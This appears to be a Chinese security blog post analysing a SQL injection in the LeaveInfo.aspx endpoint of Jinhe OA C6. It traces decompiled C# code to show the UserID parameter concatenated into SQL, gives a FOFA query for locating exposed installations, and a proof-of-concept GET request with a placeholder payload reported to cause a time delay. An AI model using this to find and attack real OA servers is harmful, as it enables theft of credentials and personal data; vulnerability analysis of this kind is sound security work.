金和OA LeaveInfo.aspx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 LeaveInfo.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 LeaveInfo.aspx 的源码,在 bin 目录下查找 JHBase.Web.dossier.dll 将其进行反编译后找到 LeaveInfo 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
  this.InitText();
  if (this.Request.QueryString["UserID"] != null)
    this.UserID = this.Request.QueryString["UserID"].ToString();
  if (this.IsPostBack)
    return;
  this.InitList();
}

跟进InitList方法

  private void InitList()
  {
    string empty = string.Empty;
    this.List1.RecordCount = 2;
    this.List1.Identify = 0;
    string str = $"<root>{empty}{this.GetListData()}</root>";
    this.List1.WidthStyle = UserWebControl.DataGrid.DataGrid.EnumWidthStyle.Fix;
    this.List1.DataSource = (object) str;
  }

跟进GetListData方法

  private string GetListData()
  {
    StringBuilder stringBuilder = new StringBuilder();
    DataTable leaveInfo = this.dossier.GetLeaveInfo(this.UserID);

继续跟进GetLeaveInfo方法

public DataTable GetLeaveInfo(string UserID)
{
  DataTable leaveInfo = this.dboperator.ExecSQLReDataTable($"select a.LeaveID,a.LeaveType,a.LeaveTime,a.[filename],b.[filename] as handOverFileName from LeaveWorker a left join LeaveHandOver b on a.HandOverID=b.HandOverID Where a.LeaveID in (select LeaveID from LeaveWorkerAttach Where LeaveCode = '{UserID}' and LeaveState = 1) and a.LeaveFlag =1 and a.DelFlag =0 ");
  if (this.dboperator.IsError)
    this.strErrMessage = this.dboperator.ErrorMessage;
  return leaveInfo;
}

参数UserID被直接拼接进SQL语句执行,从而造成SQL注入漏洞。

漏洞复现

GET /c6/Jhsoft.Web.dossier/LeaveInfo.aspx/?UserID=SQLI_POC&gettype=getstation HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒


手机扫码阅读

东胜物流软件 /CommMng/Print/GetPrintInfo 信息泄露漏洞

东胜物流 /CommMng/Print/UploadMailFile 文件上传漏洞

评 论